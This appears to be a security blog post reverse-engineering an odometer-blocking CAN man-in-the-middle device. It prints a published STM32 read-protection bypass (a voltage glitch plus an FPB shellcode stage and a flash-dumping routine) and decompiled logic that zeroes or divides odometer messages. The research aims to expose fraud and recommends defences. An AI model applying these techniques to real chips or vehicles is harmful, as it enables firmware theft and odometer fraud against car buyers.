While reading some automotive forums online, we stumbled upon a device which can be used to cheat the odometer. Typically, cars have security controls such as multiple immutable copies to prevent the odometer value from ever decreasing, but what if an attacker can prevent the value from increasing? The device we found online claims to do exactly this for many models across 53 different brands…
We were curious how this device can prevent the odometer from increasing, let’s find out!
Disclaimer
We do not condone the use of devices like this, and don’t see any use case for the device besides fraud. We would like to be able to trust a car’s odometer value, and think there is a lot at stake for devices as simple as this to be able to tamper with odometer values.
Further, these devices are illegal to sell and use in the US under 49 U.S.C. § 32703
Hardware Teardown
The device we received looked just like the pictures online. We removed the shrinkwrap around the PCB to reveal its components:
In order to understand the device better we reimplemented most of it in KiCad and placed the components in roughly the same places.
At a high level, this device includes:
- 12V to 5V step down circuit
- 5V to 3V3 LDO
- STM32
- two CAN interfaces
One CAN interface goes to each end of the cable, enabling the device to perform a man in the middle attack between the instrument panel cluster and the rest of the vehicle, where it can filter or modify any messages sent or received by the instrument cluster.
Unpopulated Header
First, let’s investigate what the header is used for. By using a multimeter in continuity mode we can trace which pin of the microcontroller each header pin is connected to. Oriented by the labels on the STM32:
- top pin goes to PA13
- middle pin goes to PA14
- bottom pin goes to GND
Looks like we have SWD!
Connecting Debugger
Let’s wire up the debugger:
Note, if you are using the same debugger and it is still connected to the dev board, be sure the remove both jumpers above the crystal
Pin | Wire |
---|---|
GND | Black |
SWDIO | Blue |
SWCLK | Yellow |
And of course we will need to power the board as well. We like to use USB-C PD decoy modules as we have many lenovo chargers which can output 15V 3A, so we wired up the positive and negative terminals of that to the pads on the back of the tool.
And we are able to connect!
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : Listening on port 3333 for gdb connections
target halted due to debug-request, current mode:
Handler HardFault
xPSR: 0x01000003 pc: 0x0800016e msp: 0x20000a88
Now we can read registers:
(gdb) i r
r0 0x0 0
r1 0x40003000 1073754112
r2 0x20000138 536871224
r3 0x8009800 134256640
r4 0x20000004 536870916
r5 0x1 1
r6 0x0 0
r7 0x4725d07d 1193660541
r8 0x31205808 824203272
r9 0x2d9eb0c6 765374662
r10 0x2088ff01 545849089
r11 0x92054213 -1845149165
r12 0x44b84444 1152926788
sp 0x20000a88 0x20000a88
lr 0xfffffff9 -7
pc 0x800016e 0x800016e
For some reason, we cannot read flash?
(gdb) x/16x 0x8000000
0x8000000: 0x00000000 0x00000000 0x00000000 0x00000000
0x8000010: 0x00000000 0x00000000 0x00000000 0x00000000
0x8000020: 0x00000000 0x00000000 0x00000000 0x00000000
0x8000030: 0x00000000 0x00000000 0x00000000 0x00000000
Can we read RAM?
(gdb) hexdump 0x20000000 0x100
00000000 02 00 00 00 04 00 00 00 00 00 00 00 01 01 00 00 |................|
00000010 00 00 00 00 05 01 0b 00 1a 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 95 1b 00 00 00 00 00 00 |................|
00000030 c1 1a 00 00 e8 f7 ff 1f 00 80 00 08 00 88 00 08 |................|
00000040 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 ff ff ff ff 00 00 00 00 00 00 00 00 01 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 00 00 24 30 2a 30 30 30 30 30 30 30 5f 24 31 2a |..$0*0000000_$1*|
00000090 30 30 25 53 4f 4e 5f 5f 24 32 2a 32 35 25 53 4f |00%SON__$2*25%SO|
000000a0 4e 5f 5f 24 33 2a 31 30 25 53 4f 4e 5f 5f 24 34 |N__$3*10%SON__$4|
000000b0 2a 39 39 25 46 52 45 45 5f 24 35 2a 52 45 53 45 |*99%FREE_$5*RESE|
000000c0 52 56 45 5f 24 36 2a 52 45 53 45 52 56 45 5f 24 |RVE_$6*RESERVE_$|
000000d0 37 2a 52 45 53 45 52 56 45 5f 24 38 2a 52 45 53 |7*RESERVE_$8*RES|
000000e0 45 52 56 45 5f 24 39 2a 52 45 53 45 52 56 45 5f |ERVE_$9*RESERVE_|
000000f0 95 1b 00 00 00 a2 4a 04 00 64 00 40 04 00 00 00 |......J..d.@....|
What is preventing us from reading flash?
> stm32f1x options_read 0
option byte register = 0x3fffffe
write protection register = 0xffffffff
read protection: on
watchdog: software
Well that explains it, let’s do some research on STM32 flash read protection.
One Exploit to Rule Them All
Research turned up quite a few articles, papers and forum posts but one particular attack stands out. This attack, called Shellcode Exec. via Glitch and FPB is explained in the paper One Exploit to Rule them All? by Johannes Obermaier, Marc Schink and Kosma Moczek. We will explain the basics in this article, but we recommend reading their full paper which goes into further detail and discusses many other attacks.
Let’s see if we can replicate this attack to read out the firmware of this read protected STM32F105.
Wiring up the Target
Lucky for us, attack code for the Pi Pico exists on GitHub from CTXz including the payload which is loaded to SRAM of the STM32. Let’s program our Pi Pico with this firmware before connecting anything. We will discuss what this firmware does in the exploit section.
This attack requires strict control over the power of the STM32 and a quick reaction to nRST changes, so we must remove the bypass capacitors from the 3v3 power rail and the resistor on nRST. Additionally, we will remove the resistor on the BOOT0 pin to give us control over the STM’s boot mode.
All components to remove are marked in pink:
With these components removed we can begin to connect the STM32 to our Pi Pico:
note: BOOT1 needs to be constantly pulled high
Pin | Wire |
---|---|
VCC | red |
GND | black |
BOOT0 | purple |
BOOT1 | blue |
UART TX | white |
nRST | orange |
We also need to reconnect the debugger to write a payload into SRAM.
Exploit
As mentioned before, in a locked state this STM32 still allows some debug access, and can be booted from SRAM via the BOOTCFG pins. Access to flash is disabled when a debugger is attached, and only re-enabled after a power reset. Access to flash is also disabled when booting from SRAM. The first step of this attack is to load a two stage exploit into SRAM of the STM32.
Once this attack code is loaded we will disconnect the debugger, then assert the BOOT0 pin to configure booting from SRAM. At this point the flash is still locked down because a debugger was connected and will remain that way until a power cycle, however power cycling would cause us to lose our payload in SRAM. The trick is that the contents of SRAM are not lost immediately when power is disconnected. By monitoring the nRST line as we drop power to the device, and quickly restoring it once nRST is de-asserted, the device will restore access to flash and our payload in SRAM will persist.
Here is a Saleae screenshot of the VCC glitch:
Next, we boot from SRAM and execution will begin at _start which is stage 1. This method in entry.S simply sets up a flash patch block and spins.
@ -- Stage 1 --
@ Set FPB to remap the reset vector to SRAM
_start:
ldr r0, =0xe0002000 @ FP_CTRL, see https://developer.arm.com/documentation/ddi0337/e/System-Debug/FPB/FPB-programmer-s-model
movs r1, #3 @ FP_CTRL: Enable FPB
movs r2, #0x20 @ FP_REMAP: Remap to stage 2 vtable entry (0x20)
movs r3, #0x05 @ FP_COMP0: Set COMP0 to (rst_vector | EN) = 0x05
stm r0!, {r1, r2, r3} @ Apply to FPB
waitrst:
b waitrst @ Wait for NRST pin to be toggled
Flash patch blocks are used for debugging and can either remap a read or set a breakpoint, which give them the ability to persist across resets. This attack uses the remap mode to replace the real flash entry point with our stage two method in SRAM.
Now we configure the chip to boot from flash and reset it via nRST. When the chip boots, it looks for the entry point and the FPB is applied causing execution to begin in stage 2. Since the chip has “started via flash” this stage 2 handler has full access to flash. Its handler in entry.S calls main.c which simply dumps the flash contents over UART:
// Called by stage 2 in entry.S
int main(void)
{
iwdg_enabled = (_WDG_SW == 0); // Check WDG_SW bit.
refresh_iwdg();
usart = init_usart1();
/* Print start magic to inform the attack board that
we are going to dump */
for (uint32_t i = 0; i < sizeof(DUMP_START_MAGIC); i++)
{
writeChar(DUMP_START_MAGIC[i]);
}
uint32_t const *addr = (uint32_t *)0x08000000;
while (((uintptr_t)addr) < (0x08000000U + (1024UL * 1024UL))) // Try dumping up to 1M. When reaching unimplemented memory, it will cause hard fault and stop.
{
writeWord(*addr);
++addr;
}
while (1) // End
{
refresh_iwdg(); // Keep refreshing IWDG to prevent reset
}
}
Alas, we now have the 0x40000 byte contents of flash as a binary on our disk. Here is a Saleae screenshot of the full process:
Load in Ghidra
Let’s load the firmware to Ghidra, a tool for disassembling binary code. We know the architecture is cortex little endian with flash at address 0x8000000.
From the data sheet, we see that we should map RAM at 0x20000000 and then a mirror of flash at address zero. Finally, we can run svd loader to map the rest of the chip’s peripherals.
Looking at strings there are AT style commands being used on UART, which must be used for the bluetooth app communication even though we did not pay for this functionality. Perhaps if we bought a bluetooth module and wired it up myself it would work.
Reverse Engineering
To begin reversing, we will follow the reset vector and see what the device does to initialize. In ARM firmware the initial program counter value is located at offset four in flash, right after the initial stack pointer value. Usually in bare metal firmware you can follow the last call of each method until you find the application loop:
Investigating the app_loop, we begin to understand what this device really does. Pseudocode:
void app_loop()
{
if (10000 < ticks_since_fwd_can_msg) {
disable_bluetooth();
}
can_fwd_car2ipc();
can_fwd_ipc2car();
if (pending_config_changed_notif) {
send_config_changed_notif();
}
uart_command_handler();
if (selected_config != *p_flash_selected_config) {
flash_program(p_flash_selected_config, selected_config);
}
}
We will ignore the bluetooth functionality for now and look at the CAN forwarding methods.
How Does it Affect the Odometer?
As mentioned, this device performs a man in the middle attack between the instrument cluster and the rest of the car. After some investigation in Ghidra, we found the hook methods in the application loop which modify messages in each direction. commaai’s collection of DBC files on Github was helpful to identify the meanings of the CAN data the device was reading and modifying.
Change Mode
/* BO_ 129 Steering_Wheel_Data (from commaai opendbc)
SG_ SteWhlSwtchRght_B_Stat : 2|1@0+ (1,0) [0|1] "SED" Vector__XXX
SG_ SteWhlSwtchOk_B_Stat : 4|1@0+ (1,0) [0|1] "SED" Vector__XXX */
if ((saved_frame0.dlc == 8) &&
((saved_frame0.standard_id == 0x81 || (saved_frame0.standard_id == 0x82)))) {
if ((saved_frame0.data[0] >> 4 == 1) || ((saved_frame0.data._0_4_ & 0xf) == 4)) {
btn_last_pressed_time = get_ticks();
steering_btn_held_time = steering_btn_held_time + 1;
if (steering_btn_held_time == 9) {
/* update odometer config mode via steering wheel buttons */
selected_config_mode = selected_config_mode + 1;
if (4 < selected_config_mode) {
selected_config_mode = 1;
}
Here we can see the device watching for a message which contains the status of the steering wheel buttons. If a valid button state is held for a certain number of messages in a row, the device will increment its mode. This matches how the tool was advertised. According to the commaai opendbc, holding the OK button or the right button for ten times the period of this Steering_Wheel_Data message will cause the device to change modes.
Modify Odometer Count
/* BO_ 377 EngineData_7 (from commaai opendbc)
SG_ OdoCount : 47|8@0+ (0.2,0) [0|50.8] "Meters" GWM */
if ((saved_frame0.standard_id == 0x179) && (saved_frame0.dlc == 8)) {
if (selected_config_mode == 1) {
/* in mode 1, zero out odometer increment value */
saved_frame0.data._4_2_ = CONCAT11(0,saved_frame0.data[4]);
} else {
/* modify forwarded odometer amount based on selected config mode */
if (selected_config_mode == 2) {
/* in mode 2, divide odometer value by 4 */
modify_odometer_value
(auStack_34,0x179,saved_frame0.extended_id,saved_frame0.is_extended,
saved_frame0.is_remote,8,saved_frame0.data._0_4_,saved_frame0.data._4_4_,4);
memcpy(&saved_frame0,auStack_34,0x1c);
}
if (selected_config_mode == 3) {
/* in mode 3, divide odometer value by 6 */
modify_odometer_value
(auStack_34,saved_frame0.standard_id,saved_frame0.extended_id,
saved_frame0.is_extended,saved_frame0.is_remote,saved_frame0.dlc,
saved_frame0.data._0_4_,saved_frame0.data._4_4_,6);
memcpy(&saved_frame0,auStack_34,0x1c);
}
Here we see the meat of the application, where it intercepts the actual odometer value. We can see the different modes having their effects, where mode one will zero the odometer value completely. Interestingly, mode two and three call this method which divides the odometer value by a factor: the last parameter. This means that in modes two and three the odometer value is being divided by a divisor of four or six respectively.
CAN Injection
this device was also found to be injecting CAN messages on the bus, here is the pseudocode:
void send_config_changed_notif()
{
out_frame.is_extended = 0;
out_frame.standard_id = 0x3b2;
out_frame.dlc = 8;
out_frame.data[0] = 0x44;
out_frame.data[1] = 0x88;
out_frame.data[2] = 0x46;
out_frame.data[3] = 9;
out_frame.data[4] = 0x18;
out_frame.data[5] = 3;
out_frame.data[6] = 0x40;
out_frame.data[7] = 2;
pCAN1.frame_out = (candata_ext *)&out_frame;
can_send_frame_out(&pCAN1);
}
3B2#4488460817034002
Here we see a hard-coded message being sent on the bus, and repeating it to indicate to the user which mode they are in. This message definition was not found in public, however from their advertisement video it appears to blink the whole cluster.
Conclusion
Odometer fraud naturally has a negative effect on used car buyers, but it also affects manufacturers. In most cases, manufacturers warranty a car up to a certain number of miles driven. In other cases, manufacturers run lending houses to provide leases on their vehicles and these lending houses expect a car to have a certain residual value based on its mileage at the end of a lease. In both cases, the manufacturer relies on the odometer to be accurate and has an incentive to ensure this. It seems surprisingly easy to commit odometer fraud and once these devices are removed from a vehicle it is difficult to tell if they have been used. It begs the question, how common is use of devices like this?
One potential solution to the problem would be securing the communication between the instrument panel cluster and the powertrain ECU sending the odometer updates. A specification exists, called SecOC which provides recommendations on how to achieve authentication and integrity protection on the CAN bus. If applied properly with different keys on each vehicle, it would be much more difficult for a device like this to achieve its goal.
When buying a used car there are classic ways to tell if an odometer is not accurate, such as checking wearables like brakes and tires. We recommend also pulling a diagnostic report before buying a used car and checking if any other modules track mileage or any potentially related things like engine running hours. As these modules seem to only modify the odometer count in the instrument panel cluster, we expect other stored values to be accurate. In one case on a 2018 Jeep Grand Cherokee, we found the gateway module (SGW) reported over ten thousand more miles than the instrument panel cluster, possibly indicating use of a similar device. Finally, buy your used car from a reputable source and have it inspected before purchase.
Credits
Thank you to the authors of the paper which describes the Shellcode Exec. via Glitch and FPB attack:
- Johannes Obermaier
- Marc Schink
- Kosma Moczek
Thank you to the authors of the stm32f1-picopwner repo:
- CTXz
- deividAlfa